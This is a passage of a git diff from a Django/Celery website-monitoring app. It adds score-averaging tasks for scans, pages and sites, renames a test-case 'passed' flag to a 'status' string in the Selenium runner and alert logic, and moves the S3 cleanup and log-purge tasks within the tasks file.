+        "page_id"  : str (OPTIONAL)
+    }
+
+    Returns -> None
+    """
+
+    # defaults
+    site = None
+    page = None
+    pages = []
+    scans = []
+    tests = []
+    latest_test = None
+    latest_scan = None
+
+    # get associated site
+    if site_id:
+        site = Site.objects.get(id=site_id)
+        pages = Page.objects.filter(site=site)
+    
+    # get associated page
+    if page_id:
+        page = Page.objects.get(id=page_id)
+        site = page.site
+        pages = Page.objects.filter(site=site)
+    
+    # get latest tests & scans of pages
+    for p in pages:
+
+        if Test.objects.filter(page=p).exists() and \
+            (resource == 'test' or resource == 'all'):
+            _test = Test.objects.filter(page=p).exclude(
+                time_completed=None
+            ).order_by('-time_completed')
+            if len(_test) > 0:
+                if _test[0].score:
+                    # add to tests[]
+                    tests.append(_test[0].score)
+                    # update latest_test
+                    latest_test = _test[0]
+        
+        if Scan.objects.filter(page=p).exists()and \
+            (resource == 'scan' or resource == 'all'):
+            _scan = Scan.objects.filter(page=p).exclude(
+                time_completed=None
+            ).order_by('-time_completed')
+            if len(_scan) > 0:
+                if _scan[0].score:
+                    # add to scans[]
+                    scans.append(_scan[0].score)
+                    # update latest_scan
+                    latest_scan = _scan[0]
+        
+        # update single page if passed
+        if page:
+            
+            # checking if current p is page
+            if page == p:
+
+                # latest_scan info
+                if latest_scan:
+                    page.info['latest_scan']['id'] = str(latest_scan.id)
+                    page.info['latest_scan']['time_created'] = str(latest_scan.time_created)
+                    page.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
+                    page.info['latest_scan']['score'] = latest_scan.score
+                    page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
+                    page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
+                else:
+                    page.info['latest_scan']['id'] = None
+                    page.info['latest_scan']['time_created'] = None
+                    page.info['latest_scan']['time_completed'] = None
+                    page.info['latest_scan']['score'] = None
+                    page.info['lighthouse'] = None
+                    page.info['yellowlab'] = None
+
+
+                # latest_test info
+                if latest_test:
+                    page.info['latest_test']['id'] = str(latest_test.id)
+                    page.info['latest_test']['time_created'] = str(latest_test.time_created)
+                    page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
+                    page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
+                    page.info['latest_test']['status'] = latest_test.status
+                else:
+                    page.info['latest_test']['id'] = None
+                    page.info['latest_test']['time_created'] = None
+                    page.info['latest_test']['time_completed'] = None
+                    page.info['latest_test']['score'] = None
+                    page.info['latest_test']['status'] = None
+
+                # save page
+                page.save()
+    
+    # update site with new scan info
+    if len(scans) > 0:
+        # calc site average of latest_scan.score
+        site_avg_scan_score = round((sum(scans)/len(scans)) * 100) / 100
+        print(f'updating site with new scan score -> {site_avg_scan_score}')
+
+    # latest_scan info
+    if latest_scan:
+        site.info['latest_scan']['id'] = str(latest_scan.id)
+        site.info['latest_scan']['time_created'] = str(latest_scan.time_created)
+        site.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
+        site.info['latest_scan']['score'] = latest_scan.score
+        site.info['lighthouse'] = latest_scan.lighthouse.get('scores')
+        site.info['yellowlab'] = latest_scan.yellowlab.get('scores')
+    else:
+        site.info['latest_scan']['id'] = None
+        site.info['latest_scan']['time_created'] = None
+        site.info['latest_scan']['time_completed'] = None
+        site.info['latest_scan']['score'] = None
+        site.info['lighthouse'] = None
+        site.info['yellowlab'] = None
+
+    # update site with new test info
+    if len(tests) > 0:
+        
+        # calc site average of latest_test.score
+        site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+        print(f'updating site with new test score -> {site_avg_test_score}')
+        
+    # update site info
+    if latest_test:
+        site.info['latest_test']['id'] = str(latest_test.id)
+        site.info['latest_test']['time_created'] = str(latest_test.time_created)
+        site.info['latest_test']['time_completed'] = str(latest_test.time_completed)
+        site.info['latest_test']['score'] = site_avg_test_score
+        site.info['latest_test']['status'] = latest_test.status
+    else:
+        site.info['latest_test']['id'] = None
+        site.info['latest_test']['time_created'] = None
+        site.info['latest_test']['time_completed'] = None
+        site.info['latest_test']['score'] = None
+        site.info['latest_test']['status'] = None
+
+    # save info
+    site.save()
+    
+    return None
+
+
+
+
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def update_scan_score(self, scan_id: str) -> None:
+    """ 
+    Method to calculate the average health score and update 
+    for the passed scan_id
+
+    Expects: {
+        'scan_id': str
+    }
+
+    Returns -> None
+    """
+    
+    # setting defaults
+    score = None
+    scores = []
+    scan = Scan.objects.get(id=scan_id)
+
+    # get latest scan scores
+    if scan.lighthouse['scores']['average'] is not None:
+        scans.append(scan.lighthouse['scores']['average'])
+    if scan.yellowlab['scores']['globalScore'] is not None:
+        scans.append(scan.yellowlab['scores']['globalScore'])
+    
+    # calc average score
+    if len(scores) > 0:
+        score = sum(scores)/len(scores)
+
+    # save to scan
+    scan.score = score
+    scan.save()
+        
+    # returning scan
+    return None
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def scan_page_bg(
         self, 
@@ -980,222 +1176,6 @@ def create_report_bg(*args, **kwargs) -> None:
 
 
 
-@shared_task
-def delete_site_s3_bg(site_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed site
-
-    Expects: {
-        'site_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
-    except:
-        pass
-
-    logger.info('Deleted site s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_page_s3_bg(page_id: str, site_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed page
-
-    Expects: {
-        'site_id': str,
-        'page_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
-    except:
-        pass
-    
-    logger.info('Deleted page s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed scan
-
-    Expects: {
-        'scan_id': str,
-        'site_id': str,
-        'page_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
-    except:
-        pass
-    
-    logger.info('Deleted scan s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed test
-
-    Expects: {
-        'test_id': str,
-        'site_id': str,
-        'page_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
-    except:
-        pass
-    
-    logger.info('Deleted test s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_testcase_s3_bg(testcase_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed test
-
-    Expects: {
-        'testcase_id': str,
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
-    except:
-        pass
-
-    logger.info('Deleted testcase s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_report_s3_bg(report_id: str) -> None:
-    """
-    Deletes the file in s3 bucked associated 
-    with passed report
-
-    Expects: {
-        'report_id': str,
-    }
-
-    Returns -> None
-    """
-
-    # get site
-    site = Report.objects.get(id=report_id).site
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
-    except:
-        pass
-
-    logger.info('Deleted Report pdf in s3')
-    return None
-
-
-
-
-@shared_task
-def delete_case_s3_bg(case_id: str) -> None:
-    """
-    Deletes the file in s3 bucked associated 
-    with passed case_id
-
-    Expects: {
-        'case_id': str,
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
-    except:
-        pass
-
-    logger.info('Deleted Case step data in s3')
-    return None
-
-
-
-
-@shared_task
-def purge_logs(username: str=None) -> None:
-    """ 
-    Deletes all `Logs` associated with the passed "username".
-    If "username" is None, deletes all `Logs`.
-
-    Expects: {
-        'username': str
-    }
-
-    Returns -> None
-    """
-
-    # delete logs
-    if username:
-        user = User.objects.get(username=username)
-        Log.objects.filter(user=user).delete()
-    else:
-        Log.objects.all().delete()
-
-    logger.info('Purged logs')
-    return None
-
-
-
-
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_auto_cases_bg(
         self, 
@@ -1361,13 +1341,13 @@ def create_testcase_bg(*args, **kwargs) -> None:
                 step['action']['time_created'] = None
                 step['action']['time_completed'] = None
                 step['action']['exception'] = None
-                step['action']['passed'] = None
+                step['action']['status'] = None
 
             if step['assertion']['type'] != None:
                 step['assertion']['time_created'] = None
                 step['assertion']['time_completed'] = None
                 step['assertion']['exception'] = None
-                step['assertion']['passed'] = None
+                step['assertion']['status'] = None
 
     # adding updates
     if steps:
@@ -1440,6 +1420,222 @@ def create_testcase_bg(*args, **kwargs) -> None:
 
 
 
+@shared_task
+def delete_site_s3_bg(site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed site
+
+    Expects: {
+        'site_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
+    except:
+        pass
+
+    logger.info('Deleted site s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_page_s3_bg(page_id: str, site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed page
+
+    Expects: {
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
+    except:
+        pass
+    
+    logger.info('Deleted page s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed scan
+
+    Expects: {
+        'scan_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
+    except:
+        pass
+    
+    logger.info('Deleted scan s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'test_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
+    except:
+        pass
+    
+    logger.info('Deleted test s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_testcase_s3_bg(testcase_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'testcase_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
+    except:
+        pass
+
+    logger.info('Deleted testcase s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_report_s3_bg(report_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed report
+
+    Expects: {
+        'report_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # get site
+    site = Report.objects.get(id=report_id).site
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
+    except:
+        pass
+
+    logger.info('Deleted Report pdf in s3')
+    return None
+
+
+
+
+@shared_task
+def delete_case_s3_bg(case_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed case_id
+
+    Expects: {
+        'case_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
+    except:
+        pass
+
+    logger.info('Deleted Case step data in s3')
+    return None
+
+
+
+
+@shared_task
+def purge_logs(username: str=None) -> None:
+    """ 
+    Deletes all `Logs` associated with the passed "username".
+    If "username" is None, deletes all `Logs`.
+
+    Expects: {
+        'username': str
+    }
+
+    Returns -> None
+    """
+
+    # delete logs
+    if username:
+        user = User.objects.get(username=username)
+        Log.objects.filter(user=user).delete()
+    else:
+        Log.objects.all().delete()
+
+    logger.info('Purged logs')
+    return None
+
+
+
+
 @shared_task
 def reset_account_usage(account_id: str=None) -> None:
     """ 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 30a5d391..6cfc5b87 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -213,12 +213,18 @@ def create_exp(item: object=None, automation: object=None) -> dict:
         if 'test_score' in e['data_type']:
             title = 'Test Score'
             data = str(round(item.score, 2))
-        if 'test_status' in e['data_type']:
+        elif 'test_status' in e['data_type']:
             status = '❌ FAILED'
             if item.status == 'passed':
                 status = '✅ PASSED'
             title = 'Test Status'
             data = status
+        elif 'testcase_status' in e['data_type']:
+            status = '❌ FAILED'
+            if e['value'] == 'passed':
+                status = '✅ PASSED'
+            title = f'"{item.case.name}"'
+            data = status
         elif 'current_health' in e['data_type']:
             title = 'Health'
             data = str(
@@ -360,14 +366,6 @@ def create_exp(item: object=None, automation: object=None) -> dict:
         elif 'logs' in e['data_type']:
             title = 'Error Logs'
             data = str(len(item.logs))
-
-        # testcase data
-        elif 'testcase' in e['data_type']:
-            status = '❌ FAILED'
-            if e['value'] == 'True':
-                status = '✅ PASSED'
-            title = f'"{item.case.name}"'
-            data = status
         
         # create data string
         data_str = f' {title}:   {data}\n'
@@ -580,9 +578,6 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
 
     # check if data is present
     if email and automation_id:
-        
-        # retrieving user
-        user = User.objects.get(email=email)
 
         # get automation 
         automation = Automation.objects.get(id=automation_id)
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 4e9398b2..07885c5b 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -90,14 +90,14 @@ def build_exp_list(self) -> None:
             data_type = None
             operator = ' == '
             joiner = ''
-            data_type = 'self.object.passed'
-            value = f"str({str(expression['value'])})"
+            data_type = 'self.object.status'
+            value = f"str('{str(expression['value'])}')"
 
             # getting data
             if self.object:
                 
                 # get comparison value
-                if self.automation.schedule.task_type != 'testcase' and expression['data_type'] != 'test_status':
+                if expression['data_type'] != 'testcase_status' and expression['data_type'] != 'test_status':
                     value = str(float(re.search(r'\d+', str(expression['value'])).group()))
 
                 # get operator
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index ae179d28..b8937d74 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -4,7 +4,7 @@
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
 from ..models import * 
-from datetime import datetime
+from datetime import datetime, timezone
 from asgiref.sync import sync_to_async
 from scanerr import settings
 
@@ -97,28 +97,28 @@ def __init__(
 
     def update_testcase(
             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
-            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+            status: str=None, exception: str=None, time_completed: str=None, image: str=None,
         ) -> None:
         # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
             self.testcase.steps[index][type]['time_completed'] = str(end_time)
-        if passed != None:
-            self.testcase.steps[index][type]['passed'] = passed
+        if status != None:
+            self.testcase.steps[index][type]['status'] = status
         if exception != None:
             self.testcase.steps[index][type]['exception'] = str(exception)
         if image != None:
             self.testcase.steps[index][type]['image'] = str(image)
         if time_completed != None:
             self.testcase.time_completed = time_completed
-            test_status = True
+            test_status = 'passed'
             for step in self.testcase.steps:
-                if step['action']['passed'] == False:
-                    test_status = False
-                if step['assertion']['passed'] == False:
-                    test_status = False
-            self.testcase.passed = test_status
+                if step['action']['status'] == 'failed':
+                    test_status = 'failed'
+                if step['assertion']['status'] == 'failed':
+                    test_status = 'failed'
+            self.testcase.status = test_status
         
         self.testcase.save()
         return
@@ -397,10 +397,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'navigate':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -419,12 +419,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -432,10 +432,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'scroll':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -451,12 +451,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -464,10 +464,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'click':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -496,12 +496,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -509,10 +509,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'change':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
                 
                 try:
@@ -542,12 +542,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -555,10 +555,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'keyDown':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
                 
                 try:
@@ -597,12 +597,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -610,10 +610,10 @@ def run(self) -> None:
 
             if step['assertion']['type'] == 'match':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='assertion', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -650,12 +650,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -663,10 +663,10 @@ def run(self) -> None:
 
             if step['assertion']['type'] == 'exists':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='assertion', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -692,12 +692,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -705,12 +705,12 @@ def run(self) -> None:
             i += 1  
 
         self.update_testcase(
-            time_completed=datetime.now()
+            time_completed=datetime.now(timezone.utc)
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
         
-        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+        if self.testcase.status == 'failed' and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
         
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index f6454361..597a0884 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -180,10 +180,45 @@ def scan_vrt(self, driver: object=None) -> list:
         # defining browser demesions
         sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
 
-        # getting full_page_height
+        # calculating and suto setting page height
         if self.scan.configs.get('auto_height', True):
-            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-            driver.set_window_size(int(sizes[0]), int(full_page_height))
+
+            # get scroll_height, client_height & set window_size
+            scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+            client_height = driver.execute_script("return document.documentElement.clientHeight;")
+
+            # trying to match "document.body.clientHeight" 
+            # and "document.body.scrollHeight"
+            # iterate 3 times or untill height_diff is less than 20
+            i = 0
+            success = False
+            while not success and i < 4:
+
+                # set window_size
+                driver.set_window_size(int(sizes[0]), (int(scroll_height)))
+                
+                # scroll down and up
+                driver.execute_script(f"window.scrollBy(0, {scroll_height});")
+                time.sleep(1)
+                driver.execute_script(f"window.scrollBy(0, -{scroll_height});")
+                
+                # get client & new scroll height
+                client_height = driver.execute_script("return document.documentElement.clientHeight;")
+                new_scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+
+                # get difference between full page height and new scrolled position
+                height_diff = int(new_scroll_height) - int(client_height)
+
+                # re-set window size
+                print(f'adding {height_diff} to full_page_height')
+                scroll_height += height_diff if height_diff > 0 else 0
+
+                # checking difference
+                if height_diff < 20:
+                    success = True
+
+                # increment
+                i += 1
 
 
         if self.scan.configs.get('disable_animations') == True:
@@ -231,8 +266,8 @@ def scan_vrt(self, driver: object=None) -> list:
             if self.check_timeout(self.scan.configs.get('timeout', 300), start_time):
                 break
 
-            # scroll single frame
-            if index != 0:
+            # scroll single frame if not first frame and not auto_height
+            if index != 0 and not self.scan.configs.get('auto_height', True):
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
                 time.sleep(int(self.scan.configs.get('min_wait_time', 10)))
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 28b1497b..ac659bf7 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -83,11 +83,11 @@ def build_issue(self):
             step_type = 'action'
             for step in self.testcase.steps:
                 step_index += 1
-                if step['action']['passed'] == False:
+                if step['action']['status'] == 'failed':
                     failed_step = step
                     step_type = 'action'
                     break
-                if step['assertion']['passed'] == False:
+                if step['assertion']['status'] == 'failed':
                     failed_step = step
                     step_type = 'assertion'
                     break
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 2034ff21..af0d64a4 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -115,6 +115,9 @@ def build_scan(self) -> object:
         self.scan.time_completed = datetime.now()
         self.scan.save()
 
+        # update Scan.score
+        update_scan_score(self.scan)
+
         # updating Site and Page objects
         update_page_info(self.scan)
         update_site_info(self.scan)
@@ -125,6 +128,42 @@ def build_scan(self) -> object:
 
 
 
+def update_scan_score(scan: object) -> object:
+    """ 
+    Method to calculate the average health score and update 
+    for the passed scan
+
+    Expects: {
+        'scan': object
+    }
+
+    Returns -> `Scan` <obj>
+    """
+    
+    # setting defaults
+    score = None
+    scores = []
+
+    # get latest scan scores
+    if scan.lighthouse['scores']['average'] is not None:
+        scores.append(scan.lighthouse['scores']['average'])
+    if scan.yellowlab['scores']['globalScore'] is not None:
+        scores.append(scan.yellowlab['scores']['globalScore'])
+    
+    # calc average score
+    if len(scores) > 0:
+        score = sum(scores)/len(scores)
+
+    # save to scan
+    scan.score = score
+    scan.save()
+        
+    # returning scan
+    return scan
+
+
+
+
 def update_site_info(scan: object) -> object:
     """ 
     Method to update associated Site with the new Scan data
@@ -137,7 +176,8 @@ def update_site_info(scan: object) -> object:
     """
     
     # setting defaults
-    score = 0
+    score = None
+    scores = []
     site = scan.site
     pages = Page.objects.filter(site=site)
 
@@ -145,17 +185,13 @@ def update_site_info(scan: object) -> object:
     scans = []
     for page in pages:
         if Scan.objects.filter(page=page).exists():
-            _scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
-            if _scan.lighthouse['scores']['average'] is not None:
-                scans.append(_scan.lighthouse['scores']['average'])
-            if _scan.yellowlab['scores']['globalScore'] is not None:
-                scans.append(_scan.yellowlab['scores']['globalScore'])
+            scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+            if scan.score:
+                scores.append(scan.score)
     
     # calc average score
-    if len(scans) > 0:
-        score = sum(scans)/len(scans)
-    else:
-        score = None
+    if len(scores) > 0:
+        score = sum(scores)/len(scores)
         
     # saving new info to site
     site.info['latest_scan']['id'] = str(scan.id)
@@ -180,37 +216,18 @@ def update_page_info(scan: object) -> object:
 
     Returns -> `Page` <obj>
     """
-    
-    # setting defaults
-    d = 0
-    score = 0
-    page = scan.page
-
-    # selecting LH & YL scores if present
-    if scan.lighthouse['scores']['average'] is not None:
-        score += float(scan.lighthouse['scores']['average'])
-        d += 1
-    if scan.yellowlab['scores']['globalScore'] is not None:
-        score += float(scan.yellowlab['scores']['globalScore'])
-        d += 1
-    
-    # calc average health score
-    if score != 0:
-        score = score / d
-    else:
-        score = None
 
     # saving new info to page
-    page.info['latest_scan']['id'] = str(scan.id)
-    page.info['latest_scan']['time_created'] = str(scan.time_created)
-    page.info['latest_scan']['time_completed'] = str(scan.time_completed)
-    page.info['latest_scan']['score'] = score
-    page.info['lighthouse'] = scan.lighthouse.get('scores')
-    page.info['yellowlab'] = scan.yellowlab.get('scores')
-    page.save()
+    scan.page.info['latest_scan']['id'] = str(scan.id)
+    scan.page.info['latest_scan']['time_created'] = str(scan.time_created)
+    scan.page.info['latest_scan']['time_completed'] = str(scan.time_completed)
+    scan.page.info['latest_scan']['score'] = scan.score
+    scan.page.info['lighthouse'] = scan.lighthouse.get('scores')
+    scan.page.info['yellowlab'] = scan.yellowlab.get('scores')
+    scan.page.save()
 
     # returning page
-    return page
+    return scan.page
 
 
 
@@ -310,12 +327,13 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
         time_completed = datetime.now()
         scan.time_completed = time_completed
         scan.save()
+        update_scan_score(scan)
         update_page_info(scan)
         update_site_info(scan)
 
         # start Test if test_id present
         if test_id is not None:
-            print('\n\n---------------\nScan Complete\nStarting Test...\n---------------\n\n')
+            print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id is not None and automation_id != 'None':
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index ef68c06b..92c27d34 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -81,7 +81,7 @@ class Meta:
         model = Scan
         fields = ['id', 'site', 'page', 'paired_scan', 'time_created',
         'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', 
-        'images', 'configs', 'tags', 'type',
+        'images', 'configs', 'tags', 'type', 'score',
         ]
 
 
@@ -104,7 +104,7 @@ def get_yellowlab(self, obj):
     class Meta:
         model = Scan
         fields = ['id', 'site', 'page', 'paired_scan', 'time_created', 'logs', 
